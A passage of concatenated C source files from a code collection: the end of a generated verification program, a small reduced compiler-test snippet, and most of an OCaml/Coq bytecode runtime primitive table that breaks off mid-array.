x_11_1) x_51_0 = 1885232338; T_2_92_2: if (x_44_1 < x_11_1) x_51_1 = 47905228502784; T_2_93_2: if (x_44_1 < x_11_1) x_52_0 = 67680775; T_2_94_2: if (x_44_1 < x_11_1) x_52_1 = x_0_3 + x_44_1; T_2_95_2: if (x_44_1 < x_11_1) x_45_1 = 0; T_2_96_2: if (x_44_1 < x_11_1 && x_45_1 < x_43_1) x_53_0 = 1149273062; T_2_97_2: if (x_44_1 < x_11_1 && x_45_1 < x_43_1) x_53_1 = 47905228502784; T_2_98_2: if (x_44_1 < x_11_1) x_45_2 = 1 + x_45_1; T_2_99_2: if (x_44_1 < x_11_1 && x_45_2 < x_43_1) x_53_2 = 47905228502784; T_2_100_2: if (x_44_1 < x_11_1) x_45_3 = 1 + x_45_2; T_2_101_2: if (x_44_1 < x_11_1) x_54_0 = 38458333; T_2_102_2: if (x_44_1 < x_11_1) x_54_1 = 47905228502784; T_2_103_2: if (x_44_1 < x_11_1) x_0_4 = x_0_3 + x_44_1; T_2_104_2: if (x_36_1 < x_11_1) x_0_5 = x_0_1 + x_36_1; T_2_105_2: if (x_44_1 < x_11_1) x_55_0 = 1241774431; T_1_106_1: if (x_44_1 < x_11_1) x_55_1 = 47905228502784; T_2_107_2: if (x_44_1 < x_11_1) x_56_0 = 804284102; T_2_108_2: if (x_44_1 < x_11_1) x_56_1 = 47905228502784; T_2_109_2: if (x_44_1 < x_11_1) assert(x_0_5 == x_52_1); }
the_stack_data/145454362.c
struct a { long b }; c; d() { struct a *e = f(); e->b = c; for (; e->b;) g(); }
the_stack_data/25138764.c
#ifdef __cplusplus extern "C" { #endif #ifdef _WIN64 typedef __int64 value; #else typedef long value; #endif extern value caml_alloc_dummy(); extern value caml_alloc_dummy_float(); extern value caml_update_dummy(); extern value caml_array_get_addr(); extern value caml_array_get_float(); extern value caml_array_get(); extern value caml_array_set_addr(); extern value caml_array_set_float(); extern value caml_array_set(); extern value caml_array_unsafe_get_float(); extern value caml_array_unsafe_get(); extern value caml_array_unsafe_set_addr(); extern value caml_array_unsafe_set_float(); extern value caml_array_unsafe_set(); extern value caml_make_vect(); extern value caml_make_array(); extern value caml_compare(); extern value caml_equal(); extern value caml_notequal(); extern value caml_lessthan(); extern value caml_lessequal(); extern value caml_greaterthan(); extern value caml_greaterequal(); extern value caml_output_value(); extern value caml_output_value_to_string(); extern value caml_output_value_to_buffer(); extern value caml_format_float(); extern value caml_float_of_string(); extern value caml_int_of_float(); extern value caml_float_of_int(); extern value caml_neg_float(); extern value caml_abs_float(); extern value caml_add_float(); extern value caml_sub_float(); extern value caml_mul_float(); extern value caml_div_float(); extern value caml_exp_float(); extern value caml_floor_float(); extern value caml_fmod_float(); extern value caml_frexp_float(); extern value caml_ldexp_float(); extern value caml_log_float(); extern value caml_log10_float(); extern value caml_modf_float(); extern value caml_sqrt_float(); extern value caml_power_float(); extern value caml_sin_float(); extern value caml_sinh_float(); extern value caml_cos_float(); extern value caml_cosh_float(); extern value caml_tan_float(); extern value caml_tanh_float(); extern value caml_asin_float(); extern value caml_acos_float(); extern value caml_atan_float(); extern value caml_atan2_float(); extern value caml_ceil_float(); extern value caml_expm1_float(); extern value caml_log1p_float(); extern value caml_eq_float(); extern value caml_neq_float(); extern value caml_le_float(); extern value caml_lt_float(); extern value caml_ge_float(); extern value caml_gt_float(); extern value caml_float_compare(); extern value caml_classify_float(); extern value caml_gc_stat(); extern value caml_gc_quick_stat(); extern value caml_gc_counters(); extern value caml_gc_get(); extern value caml_gc_set(); extern value caml_gc_minor(); extern value caml_gc_major(); extern value caml_gc_full_major(); extern value caml_gc_major_slice(); extern value caml_gc_compaction(); extern value caml_hash_univ_param(); extern value caml_input_value(); extern value caml_input_value_from_string(); extern value caml_marshal_data_size(); extern value caml_int_compare(); extern value caml_int_of_string(); extern value caml_format_int(); extern value caml_int32_neg(); extern value caml_int32_add(); extern value caml_int32_sub(); extern value caml_int32_mul(); extern value caml_int32_div(); extern value caml_int32_mod(); extern value caml_int32_and(); extern value caml_int32_or(); extern value caml_int32_xor(); extern value caml_int32_shift_left(); extern value caml_int32_shift_right(); extern value caml_int32_shift_right_unsigned(); extern value caml_int32_of_int(); extern value caml_int32_to_int(); extern value caml_int32_of_float(); extern value caml_int32_to_float(); extern value caml_int32_compare(); extern value caml_int32_format(); extern value caml_int32_of_string(); extern value caml_int32_bits_of_float(); extern value caml_int32_float_of_bits(); extern value caml_int64_neg(); extern value caml_int64_add(); extern value caml_int64_sub(); extern value caml_int64_mul(); extern value caml_int64_div(); extern value caml_int64_mod(); extern value caml_int64_and(); extern value caml_int64_or(); extern value caml_int64_xor(); extern value caml_int64_shift_left(); extern value caml_int64_shift_right(); extern value caml_int64_shift_right_unsigned(); extern value caml_int64_of_int(); extern value caml_int64_to_int(); extern value caml_int64_of_float(); extern value caml_int64_to_float(); extern value caml_int64_of_int32(); extern value caml_int64_to_int32(); extern value caml_int64_of_nativeint(); extern value caml_int64_to_nativeint(); extern value caml_int64_compare(); extern value caml_int64_format(); extern value caml_int64_of_string(); extern value caml_int64_bits_of_float(); extern value caml_int64_float_of_bits(); extern value caml_nativeint_neg(); extern value caml_nativeint_add(); extern value caml_nativeint_sub(); extern value caml_nativeint_mul(); extern value caml_nativeint_div(); extern value caml_nativeint_mod(); extern value caml_nativeint_and(); extern value caml_nativeint_or(); extern value caml_nativeint_xor(); extern value caml_nativeint_shift_left(); extern value caml_nativeint_shift_right(); extern value caml_nativeint_shift_right_unsigned(); extern value caml_nativeint_of_int(); extern value caml_nativeint_to_int(); extern value caml_nativeint_of_float(); extern value caml_nativeint_to_float(); extern value caml_nativeint_of_int32(); extern value caml_nativeint_to_int32(); extern value caml_nativeint_compare(); extern value caml_nativeint_format(); extern value caml_nativeint_of_string(); extern value caml_ml_open_descriptor_in(); extern value caml_ml_open_descriptor_out(); extern value caml_ml_out_channels_list(); extern value caml_channel_descriptor(); extern value caml_ml_close_channel(); extern value caml_ml_channel_size(); extern value caml_ml_channel_size_64(); extern value caml_ml_set_binary_mode(); extern value caml_ml_flush_partial(); extern value caml_ml_flush(); extern value caml_ml_output_char(); extern value caml_ml_output_int(); extern value caml_ml_output_partial(); extern value caml_ml_output(); extern value caml_ml_seek_out(); extern value caml_ml_seek_out_64(); extern value caml_ml_pos_out(); extern value caml_ml_pos_out_64(); extern value caml_ml_input_char(); extern value caml_ml_input_int(); extern value caml_ml_input(); extern value caml_ml_seek_in(); extern value caml_ml_seek_in_64(); extern value caml_ml_pos_in(); extern value caml_ml_pos_in_64(); extern value caml_ml_input_scan_line(); extern value caml_lex_engine(); extern value caml_new_lex_engine(); extern value caml_md5_string(); extern value caml_md5_chan(); extern value caml_get_global_data(); extern value caml_get_section_table(); extern value caml_reify_bytecode(); extern value caml_realloc_global(); extern value caml_get_current_environment(); extern value caml_invoke_traced_function(); extern value caml_static_alloc(); extern value caml_static_free(); extern value caml_static_release_bytecode(); extern value caml_static_resize(); extern value caml_obj_is_block(); extern value caml_obj_tag(); extern value caml_obj_set_tag(); extern value caml_obj_block(); extern value caml_obj_dup(); extern value caml_obj_truncate(); extern value caml_obj_add_offset(); extern value caml_lazy_follow_forward(); extern value caml_lazy_make_forward(); extern value caml_get_public_method(); extern value caml_parse_engine(); extern value caml_set_parser_trace(); extern value caml_install_signal_handler(); extern value caml_ml_string_length(); extern value caml_create_string(); extern value caml_string_get(); extern value caml_string_set(); extern value caml_string_equal(); extern value caml_string_notequal(); extern value caml_string_compare(); extern value caml_string_lessthan(); extern value caml_string_lessequal(); extern value caml_string_greaterthan(); extern value caml_string_greaterequal(); extern value caml_blit_string(); extern value caml_fill_string(); extern value caml_is_printable(); extern value caml_bitvect_test(); extern value caml_sys_exit(); extern value caml_sys_open(); extern value caml_sys_close(); extern value caml_sys_file_exists(); extern value caml_sys_is_directory(); extern value caml_sys_remove(); extern value caml_sys_rename(); extern value caml_sys_chdir(); extern value caml_sys_getcwd(); extern value caml_sys_getenv(); extern value caml_sys_get_argv(); extern value caml_sys_system_command(); extern value caml_sys_time(); extern value caml_sys_random_seed(); extern value caml_sys_get_config(); extern value caml_sys_read_directory(); extern value caml_terminfo_setup(); extern value caml_terminfo_backup(); extern value caml_terminfo_standout(); extern value caml_terminfo_resume(); extern value caml_register_named_value(); extern value caml_weak_create(); extern value caml_weak_set(); extern value caml_weak_get(); extern value caml_weak_get_copy(); extern value caml_weak_check(); extern value caml_weak_blit(); extern value caml_final_register(); extern value caml_final_release(); extern value caml_ensure_stack_capacity(); extern value caml_dynlink_open_lib(); extern value caml_dynlink_close_lib(); extern value caml_dynlink_lookup_symbol(); extern value caml_dynlink_add_primitive(); extern value caml_dynlink_get_current_libs(); extern value caml_record_backtrace(); extern value caml_backtrace_status(); extern value caml_get_exception_backtrace(); extern value re_replacement_text(); extern value re_search_backward(); extern value re_search_forward(); extern value re_partial_match(); extern value re_string_match(); extern value unix_dup(); extern value unix_close(); extern value unix_waitpid(); extern value unix_accept(); extern value unix_error_message(); extern value unix_environment(); extern value unix_putenv(); extern value unix_execv(); extern value unix_execve(); extern value unix_execvp(); extern value unix_execvpe(); extern value unix_fork(); extern value unix_wait(); extern value unix_getpid(); extern value unix_getppid(); extern value unix_nice(); extern value unix_open(); extern value unix_lseek(); extern value unix_truncate(); extern value unix_ftruncate(); extern value unix_stat(); extern value unix_lstat(); extern value unix_fstat(); extern value unix_isatty(); extern value unix_lseek_64(); extern value unix_truncate_64(); extern value unix_ftruncate_64(); extern value unix_stat_64(); extern value unix_lstat_64(); extern value unix_fstat_64(); extern value unix_unlink(); extern value unix_rename(); extern value unix_link(); extern value unix_chmod(); extern value unix_fchmod(); extern value unix_chown(); extern value unix_fchown(); extern value unix_umask(); extern value unix_access(); extern value unix_dup2(); extern value unix_set_nonblock(); extern value unix_clear_nonblock(); extern value unix_set_close_on_exec(); extern value unix_clear_close_on_exec(); extern value unix_mkdir(); extern value unix_rmdir(); extern value unix_chdir(); extern value unix_getcwd(); extern value unix_chroot(); extern value unix_opendir(); extern value unix_readdir(); extern value unix_rewinddir(); extern value unix_closedir(); extern value unix_pipe(); extern value unix_mkfifo(); extern value unix_symlink(); extern value unix_readlink(); extern value unix_select(); extern value unix_lockf(); extern value unix_kill(); extern value unix_sigprocmask(); extern value unix_sigpending(); extern value unix_sigsuspend(); extern value unix_time(); extern value unix_gettimeofday(); extern value unix_gmtime(); extern value unix_localtime(); extern value unix_mktime(); extern value unix_alarm(); extern value unix_sleep(); extern value unix_times(); extern value unix_utimes(); extern value unix_getitimer(); extern value unix_setitimer(); extern value unix_getuid(); extern value unix_geteuid(); extern value unix_setuid(); extern value unix_getgid(); extern value unix_getegid(); extern value unix_setgid(); extern value unix_getgroups(); extern value unix_setgroups(); extern value unix_initgroups(); extern value unix_getlogin(); extern value unix_getpwnam(); extern value unix_getgrnam(); extern value unix_getpwuid(); extern value unix_getgrgid(); extern value unix_inet_addr_of_string(); extern value unix_string_of_inet_addr(); extern value unix_socket(); extern value unix_socketpair(); extern value unix_bind(); extern value unix_connect(); extern value unix_listen(); extern value unix_shutdown(); extern value unix_getsockname(); extern value unix_getpeername(); extern value unix_gethostname(); extern value unix_gethostbyname(); extern value unix_gethostbyaddr(); extern value unix_getprotobyname(); extern value unix_getprotobynumber(); extern value unix_getservbyname(); extern value unix_getservbyport(); extern value unix_tcgetattr(); extern value unix_tcsetattr(); extern value unix_tcsendbreak(); extern value unix_tcdrain(); extern value unix_tcflush(); extern value unix_tcflow(); extern value unix_setsid(); extern value unix_getnameinfo(); extern value unix_getaddrinfo(); extern value unix_getsockopt(); extern value unix_setsockopt(); extern value unix_sendto(); extern value unix_send(); extern value unix_recvfrom(); extern value unix_recv(); extern value unix_single_write(); extern value unix_write(); extern value unix_read(); extern value set_digit_nat(); extern value mult_digit_nat(); extern value blit_nat(); extern value num_digits_nat(); extern value create_nat(); extern value div_digit_nat(); extern value square_nat(); extern value set_to_zero_nat(); extern value is_digit_zero(); extern value is_digit_int(); extern value nth_digit_nat(); extern value div_nat(); extern value add_nat(); extern value shift_right_nat(); extern value num_leading_zero_bits_in_digit(); extern value complement_nat(); extern value compare_nat(); extern value initialize_nat(); extern value lxor_digit_nat(); extern value lor_digit_nat(); extern value land_digit_nat(); extern value compare_digits_nat(); extern value shift_left_nat(); extern value mult_nat(); extern value sub_nat(); extern value decr_nat(); extern value incr_nat(); extern value is_digit_odd(); extern value is_digit_normalized(); extern value nth_digit_nat_native(); extern value set_digit_nat_native(); extern value coq_push_ra(); extern value coq_push_arguments(); extern value coq_push_val(); extern value coq_interprete_ml(); extern value coq_set_drawinstr(); extern value get_coq_transp_value(); extern value coq_set_transp_value(); extern value coq_push_vstack(); extern value coq_offset_tcode(); extern value coq_offset_closure(); extern value coq_makeaccu(); extern value realloc_coq_atom_tbl(); extern value get_coq_atom_tbl(); extern value coq_int_tcode(); extern value coq_offset(); extern value coq_closure_arity(); extern value coq_accucond(); extern value coq_is_accumulate_code(); extern value coq_kind_of_closure(); extern value coq_pushpop(); extern value init_coq_vm(); extern value accumulate_code(); extern value coq_tcode_of_code(); extern value coq_eval_tcode(); extern value get_coq_global_boxed(); extern value realloc_coq_global_boxed(); extern value get_coq_global_data(); extern value realloc_coq_global_data(); extern value coq_static_free(); typedef value (*primitive)(); primitive caml_builtin_cprim[] = { caml_alloc_dummy, caml_alloc_dummy_float, caml_update_dummy, caml_array_get_addr, caml_array_get_float, caml_array_get, caml_array_set_addr, caml_array_set_float, caml_array_set, caml_array_unsafe_get_float, caml_array_unsafe_get, caml_array_unsafe_set_addr, caml_array_unsafe_set_float, caml_array_unsafe_set, caml_make_vect, caml_make_array, caml_compare, caml_equal, caml_notequal, caml_lessthan, caml_lessequal, caml_greaterthan, caml_greaterequal, caml_output_value, caml_output_value_to_string, caml_output_value_to_buffer, caml_format_float, caml_float_of_string, caml_int_of_float, caml_float_of_int, caml_neg_float, caml_abs_float, caml_add_float, caml_sub_float, caml_mul_float, caml_div_float, caml_exp_float, caml_floor_float, caml_fmod_float, caml_frexp_float, caml_ldexp_float, caml_log_float, caml_log10_float, caml_modf_float, caml_sqrt_float, caml_power_float, caml_sin_float, caml_sinh_float, caml_cos_float, caml_cosh_float, caml_tan_float, caml_tanh_float, caml_asin_float, caml_acos_float, caml_atan_float, caml_atan2_float, caml_ceil_float, caml_expm1_float, caml_log1p_float, caml_eq_float, caml_neq_float, caml_le_float, caml_lt_float, caml_ge_float, caml_gt_float, caml_float_compare, caml_classify_float, caml_gc_stat, caml_gc_quick_stat, caml_gc_counters, caml_gc_get, caml_gc_set, caml_gc_minor, caml_gc_major, caml_gc_full_major, caml_gc_major_slice, caml_gc_compaction, caml_hash_univ_param, caml_input_value, caml_input_value_from_string, caml_marshal_data_size, caml_int_compare, caml_int_of_string, caml_format_int, caml_int32_neg, caml_int32_add, caml_int32_sub, caml_int32_mul, caml_int32_div, caml_int32_mod, caml_int32_and, caml_int32_or, caml_int32_xor, caml_int32_shift_left, caml_int32_shift_right, caml_int32_shift_right_unsigned, caml_int32_of_int, caml_int32_to_int, caml_int32_of_float, caml_int32_to_float, caml_int32_compare, caml_int32_format, caml_int32_of_string, caml_int32_bits_of_float, caml_int32_float_of_bits, caml_int64_neg, caml_int64_add, caml_int64_sub, caml_int64_mul, caml_int64_div, caml_int64_mod, caml_int64_and, caml_int64_or, caml_int64_xor, caml_int64_shift_left, caml_int64_shift_right, caml_int64_shift_right_unsigned, caml_int64_of_int, caml_int64_to_int, caml_int64_of_float, caml_int64_to_float, caml_int64_of_int32, caml_int64_to_int32, caml_int64_of_nativeint, caml_int64_to_nativeint, caml_int64_compare, caml_int64_format, caml_int64_of_string, caml_int64_bits_of_float, caml_int64_float_of_bits, caml_nativeint_neg, caml_nativeint_add, caml_nativeint_sub, caml_nativeint_mul, caml_nativeint_div, caml_nativeint_mod, caml_nativeint_and, caml_nativeint_or, caml_nativeint_xor, caml_nativeint_shift_left, caml_nativeint_shift_right, caml_nativeint_shift_right_unsigned, caml_nativeint_of_int, caml_nativeint_to_int, caml_nativeint_of_float, caml_nativeint_to_float, caml_nativeint_of_int32, caml_nativeint_to_int32, caml_nativeint_compare, caml_nativeint_format, caml_nativeint_of_string, caml_ml_open_descriptor_in, caml_ml_open_descriptor_out, caml_ml_out_channels_list, caml_channel_descriptor, caml_ml_close_channel, caml_ml_channel_size, caml_ml_channel_size_64, caml_ml_set_binary_mode, caml_ml_flush_partial, caml_ml_flush, caml_ml_output_char, caml_ml_output_int, caml_ml_output_partial, caml_ml_output, caml_ml_seek_out, caml_ml_seek_out_64, caml_ml_pos_out, caml_ml_pos_out_64, caml_ml_input_char, caml_ml_input_int, caml_ml_input, caml_ml_seek_in, caml_ml_seek_in_64, caml_ml_pos_in, caml_ml_pos_in_64, caml_ml_input_scan_line, caml_lex_engine, caml_new_lex_engine, caml_md5_string, caml_md5_chan, caml_get_global_data, caml_get_section_table, caml_reify_bytecode, caml_realloc_global, caml_get_current_environment, caml_invoke_traced_function, caml_static_alloc, caml_static_free, caml_static_release_bytecode, caml_static_resize, caml_obj_is_block, caml_obj_tag, caml_obj_set_tag, caml_obj_block, caml_obj_dup, caml_obj_truncate, caml_obj_add_offset, caml_lazy_follow_forward, caml_lazy_make_forward, caml_get_public_method, caml_parse_engine, caml_set_parser_trace, caml_install_signal_handler, caml_ml_string_length, caml_create_string, caml_string_get, caml_string_set, caml_string_equal, caml_string_notequal, caml_string_compare, caml_string_lessthan, caml_string_lessequal, caml_string_greaterthan, caml_string_greaterequal, caml_blit_string, caml_fill_string, caml_is_printable, caml_bitvect_test, caml_sys_exit, caml_sys_open, caml_sys_close, caml_sys_file_exists, caml_sys_is_directory, caml_sys_remove, caml_sys_rename, caml_sys_chdir, caml_sys_getcwd, caml_sys_getenv, caml_sys_get_argv, caml_sys_system_command, caml_sys_time, caml_sys_random_seed, caml_sys_get_config, caml_sys_read_directory, caml_terminfo_setup, caml_terminfo_backup, caml_terminfo_standout, caml_terminfo_resume, caml_register_named_value, caml_weak_create, caml_weak_set, caml_weak_get, caml_weak_get_copy, caml_weak_check, caml_weak_blit, caml_final_register, caml_final_release, caml_ensure_stack_capacity, caml_dynlink_open_lib, caml_dynlink_close_lib, caml_dynlink_lookup_symbol, caml_dynlink_add_primitive, caml_dynlink_get_current_libs, caml_record_backtrace, caml_backtrace_status, caml_get_exception_backtrace, re_replacement_text, re_search_backward, re_search_forward, re_partial_match, re_string_match, unix_dup, unix_close, unix_waitpid, unix_accept, unix_error_message, unix_environment, unix_putenv, unix_execv, unix_execve, unix_execvp, unix_execvpe, unix_fork, unix_wait, unix_getpid, unix_getppid, unix_nice, unix_open, unix_lseek, unix_truncate, unix_ftruncate, unix_stat, unix_lstat, unix_fstat, unix_isatty, unix_lseek_64, unix_truncate_64, unix_ftruncate_64, unix_stat_64, unix_lstat_64, unix_fstat_64, unix_unlink, unix_rename, unix_link, unix_chmod, unix_fchmod, unix_chown, unix_fchown, unix_umask, unix_access, unix_dup2, unix_set_nonblock, unix_clear_nonblock, unix_set_close_on_exec, unix_clear_close_on_exec, unix_mkdir, unix_rmdir, unix_chdir, unix_getcwd, unix_chroot, unix_opendir, unix_readdir, unix_rewinddir, unix_closedir, unix_pipe, unix_mkfifo, unix_symlink, unix_readlink, unix_select, unix_lockf, unix_kill, unix_sigprocmask, unix_sigpending, unix_sigsuspend, unix_time, unix_gettimeofday, unix_gmtime, unix_localtime, unix_mktime, unix_alarm, unix_sleep, unix_times, unix_utimes, unix_getitimer, unix_setitimer, unix_getuid, unix_geteuid, unix_setuid, unix_getgid, unix_getegid, unix_setgid, unix_getgroups, unix_setgroups, unix_initgroups, unix_getlogin, unix_getpwnam, unix_getgrnam, unix_getpwuid, unix_getgrgid, unix_inet_addr_of_string, unix_string_of_inet_addr, unix_socket, unix_socketpair, unix_bind, unix_connect, unix_listen, unix_shutdown, unix_getsockname, unix_getpeername, unix_gethostname, unix_gethostbyname, unix_gethostbyaddr, unix_getprotobyname, unix_getprotobynumber, unix_getservbyname, unix_getservbyport, unix_tcgetattr, unix_tcsetattr, unix_tcsendbreak, unix_tcdrain, unix_tcflush, unix_tcflow, unix_setsid, unix_getnameinfo, unix_getaddrinfo, unix_getsockopt, unix_setsockopt, unix_sendto, unix_send, unix_recvfrom, unix_recv, unix_single_write, unix_write, unix_read, set_digit_nat, mult_digit_nat, blit_nat, num_digits_nat, create_nat, div_digit_nat, square_nat, set_to_zero_nat, is_digit_zero, is_digit_int, nth_digit_nat, div_nat, add_nat, shift_right_nat, num_leading_zero_bits_in_digit, complement_nat, compare_nat, initialize_nat, lxor_digit_nat, lor_digit_nat, land_digit_nat, compare_digits_nat, shift_left_nat, mult_nat, sub_nat, decr_nat, incr_nat, is_digit_odd, is_digit_normalized, nth_digit_nat_native, set_digit_nat_native, coq_push_ra, coq_push_arguments, coq_push_val, coq_interprete_ml, coq_set_drawinstr, get_coq_transp_value, coq_set_transp_value, coq_push_vstack, coq_offset_tcode, coq_offset_closure, coq_makeaccu, realloc_coq_atom_tbl, get_coq_atom_tbl, coq_int_tcode, coq_offset, coq_closure_arity, coq_accucond, coq_is_accumulate_code, coq_kind_of_closure, coq_pushpop, init_coq_vm, accumulate_code, coq_tcode_of_code, coq_eval_tcode, get_coq_global_boxed, realloc_coq_global_boxed, get_coq_global_data, realloc_coq_global_data, coq_static_free, (primitive) 0 }; char * caml_names_of_builtin_cprim[] = { "caml_alloc_dummy", "caml_alloc_dummy_float", "caml_update_dummy", "caml_array_get_addr", "caml_array_get_float", "caml_array_get", "caml_array_set_addr", "caml_array_set_float", "caml_array_set", "caml_array_unsafe_get_float", "caml_array_unsafe_get", "caml_array_unsafe_set_addr", "caml_array_unsafe_set_float", "caml_array_unsafe_set", "caml_make_vect", "caml_make_array", "caml_compare", "caml_equal", "caml_notequal", "caml_lessthan", "caml_lessequal", "caml_greaterthan", "caml_greaterequal", "caml_output_value", "caml_output_value_to_string", "caml_output_value_to_buffer", "caml_format_float", "caml_float_of_string", "caml_int_of_float", "caml_float_of_int", "caml_neg_float", "caml_abs_float", "caml_add_float", "caml_sub_float", "caml_mul_float", "caml_div_float", "caml_exp_float", "caml_floor_float", "caml_fmod_float", "caml_frexp_float", "caml_ldexp_float", "caml_log_float", "caml_log10_float", "caml_modf_float", "caml_sqrt_float", "caml_power_float", "caml_sin_float", "caml_sinh_float", "caml_cos_float", "caml_cosh_float", "caml_tan_float", "caml_tanh_float", "caml_asin_float", "caml_acos_float", "caml_atan_float", "caml_atan2_float", "caml_ceil_float", "caml_expm1_float", "caml_log1p_float", "caml_eq_float", "caml_neq_float", "caml_le_float", "caml_lt_float", "caml_ge_float", "caml_gt_float", "caml_float_compare", "caml_classify_float", "caml_gc_stat", "caml_gc_quick_stat", "caml_gc_counters", "caml_gc_get", "caml_gc_set", "caml_gc_minor", "caml_gc_major", "caml_gc_full_major", "caml_gc_major_slice", "caml_gc_compaction", "caml_hash_univ_param", "caml_input_value", "caml_input_value_from_string", "caml_marshal_data_size", "caml_int_compare", "caml_int_of_string", "caml_format_int", "caml_int32_neg", "caml_int32_add", "caml_int32_sub", "caml_int32_mul", "caml_int32_div", "caml_int32_mod", "caml_int32_and", "caml_int32_or", "caml_int32_xor", "caml_int32_shift_left", "caml_int32_shift_right", "caml_int32_shift_right_unsigned", "caml_int32_of_int", "caml_int32_to_int", "caml_int32_of_float", "caml_int32_to_float", "caml_int32_compare", "caml_int32_format", "caml_int32_of_string", "caml_int32_bits_of_float", "caml_int32_float_of_bits", "caml_int64_neg", "caml_int64_add", "caml_int64_sub", "caml_int64_mul", "caml_int64_div", "caml_int64_mod", "caml_int64_and", "caml_int64_or", "caml_int64_xor", "caml_int64_shift_left", "caml_int64_shift_right", "caml_int64_shift_right_unsigned", "caml_int64_of_int", "caml_int64_to_int", "caml_int64_of_float", "caml_int64_to_float", "caml_int64_of_int32", "caml_int64_to_int32", "caml_int64_of_nativeint", "caml_int64_to_nativeint", "caml_int64_compare", "caml_int64_format", "caml_int64_of_string", "caml_int64_bits_of_float", "caml_int64_float_of_bits", "caml_nativeint_neg", "caml_nativeint_add", "caml_nativeint_sub", "caml_nativeint_mul", "caml_nativeint_div", "caml_nativeint_mod", "caml_nativeint_and", "caml_nativeint_or", "caml_nativeint_xor", "caml_nativeint_shift_left", "caml_nativeint_shift_right", "caml_nativeint_shift_right_unsigned", "caml_nativeint_of_int", "caml_nativeint_to_int", "caml_nativeint_of_float", "caml_nativeint_to_float", "caml_nativeint_of_int32", "caml_nativeint_to_int32", "caml_nativeint_compare", "caml_nativeint_format", "caml_nativeint_of_string", "caml_ml_open_descriptor_in", "caml_ml_open_descriptor_out", "caml_ml_out_channels_list", "caml_channel_descriptor", "caml_ml_close_channel", "caml_ml_channel_size", "caml_ml_channel_size_64", "caml_ml_set_binary_mode", "caml_ml_flush_partial", "caml_ml_flush", "caml_ml_output_char", "caml_ml_output_int", "caml_ml_output_partial", "caml_ml_output", "caml_ml_seek_out", "caml_ml_seek_out_64", "caml_ml_pos_out", "caml_ml_pos_out_64", "caml_ml_input_char", "caml_ml_input_int", "caml_ml_input", "caml_ml_seek_in", "caml_ml_seek_in_64", "caml_ml_pos_in", "caml_ml_pos_in_64", "caml_ml_input_scan_line", "caml_lex_engine", "caml_new_lex_engine", "caml_md5_string", "caml_md5_chan", "caml_get_global_data", "caml_get_section_table", "caml_reify_bytecode", "caml_realloc_global", "caml_get_current_environment", "caml_invoke_traced_function", "caml_static_alloc", "caml_static_free", "caml_static_release_bytecode", "caml_static_resize", "caml_obj_is_block", "caml_obj_tag", "caml_obj_set_tag", "caml_obj_block", "caml_obj_dup", "caml_obj_truncate", "caml_obj_add_offset", "caml_lazy_follow_forward", "caml_lazy_make_forward", "caml_get_public_method", "caml_parse_engine", "caml_set_parser_trace", "caml_install_signal_handler", "caml_ml_string_length", "caml_create_string", "caml_string_get", "caml_string_set", "caml_string_equal", "caml_string_notequal", "caml_string_compare", "caml_string_lessthan", "caml_string_lessequal", "caml_string_greaterthan", "caml_string_greaterequal", "caml_blit_string", "caml_fill_string", "caml_is_printable", "caml_bitvect_test", "caml_sys_exit", "caml_sys_open", "caml_sys_close", "caml_sys_file_exists", "caml_sys_is_directory", "caml_sys_remove", "caml_sys_rename", "caml_sys_chdir", "caml_sys_getcwd", "caml_sys_getenv", "caml_sys_get_argv", "caml_sys_system_command", "caml_sys_time", "caml_sys_random_seed", "caml_sys_get_config", "caml_sys_read_directory", "caml_terminfo_setup", "caml_terminfo_backup", "caml_terminfo_standout", "caml_terminfo_resume", "caml_register_named_value", "caml_weak_create", "caml_weak_set", "caml_weak_get", "caml_weak_get_copy", "caml_weak_check", "caml_weak_blit", "caml_final_register", "caml_final_release", "caml_ensure_stack_capacity", "caml_dynlink_open_lib", "caml_dynlink_close_lib", "caml_dynlink_lookup_symbol", "caml_dynlink_add_primitive", "caml_dynlink_get_current_libs", "caml_record_backtrace", "caml_backtrace_status", "caml_get_exception_backtrace", "re_replacement_text", "re_search_backward", "re_search_forward", "re_partial_match", "re_string_match", "unix_dup", "unix_close", "unix_waitpid", "unix_accept", "unix_error_message", "unix_environment", "unix_putenv", "unix_execv", "unix_execve", "unix_execvp", "unix_execvpe", "unix_fork", "unix_wait", "unix_getpid", "unix_getppid", "unix_nice", "unix_open", "unix_lseek", "unix_truncate", "unix_ftruncate", "unix_stat", "unix_lstat", "unix_fstat", "unix_isatty", "unix_lseek_64", "unix_truncate_64", "unix_ftruncate_64", "unix_stat_64", "unix_lstat_64", "unix_fstat_64", "unix_unlink", "unix_rename", "unix_link", "unix_chmod", "unix_fchmod", "unix_chown", "unix_fchown", "unix_umask", "unix_access", "unix_dup2", "unix_set_nonblock", "unix_clear_nonblock", "unix_set_close_on_exec", "unix_clear_close_on_exec", "unix_mkdir", "unix_rmdir", "unix_chdir", "unix_getcwd", "unix_chroot", "unix_opendir", "unix_readdir", "unix_rewinddir", "unix_closedir", "unix_pipe", "unix_mkfifo", "unix_symlink", "unix_readlink", "unix_select", "unix_lockf", "unix_kill", "unix_sigprocmask", "unix_sigpending", "unix_sigsuspend", "unix_time", "unix_gettimeofday", "unix_gmtime", "unix_localtime", "unix_mktime", "unix_alarm", "unix_sleep", "unix_times", "unix_utimes", "unix_getitimer", "unix_setitimer", "unix_getuid", "unix_geteuid", "unix_setuid", "unix_getgid", "unix_getegid", "unix_setgid", "unix_getgroups", "unix_setgroups", "unix_initgroups", "unix_getlogin", "unix_getpwnam", "unix_getgrnam", "unix_getpwuid", "unix_getgrgid", "unix_inet_addr_of_string", "unix_string_of_inet_addr", "unix_socket", "unix_socketpair", "unix_bind", "unix_connect", "unix_listen", "unix_shutdown", "unix_getsockname", "unix_getpeername", "unix_gethostname", "unix_gethostbyname", "unix_gethostbyaddr", "unix_getprotobyname", "unix_getprotobynumber", "unix_getservbyname", "unix_getservbyport", "unix_tcgetattr", "unix_tcsetattr", "unix_tcsendbreak", "unix_tcdrain", "unix_tcflush", "unix_tcflow", "unix_setsid", "unix_getnameinfo", "unix_getaddrinfo", "unix_getsockopt", "unix_setsockopt", "unix_sendto", "unix_send", "unix_recvfrom", "unix_recv", "unix_single_write", "unix_write", "unix_read", "set_digit_nat", "mult_digit_nat", "blit_nat", "num_digits_nat", "create_nat", "div_digit_nat", "square_nat", "set_to_zero_nat", "is_digit_zero", "is_digit_int", "nth_digit_nat", "div_nat", "add_nat", "shift_right_nat", "num_leading_zero_bits_in_digit", "complement_nat", "compare_nat", "initialize_nat", "lxor_digit_nat", "lor_digit_nat", "land_digit_nat", "compare_digits_nat", "shift_left_nat", "mult_nat", "sub_nat", "decr_nat", "incr_nat", "is_digit_odd", "is_digit_normalized", 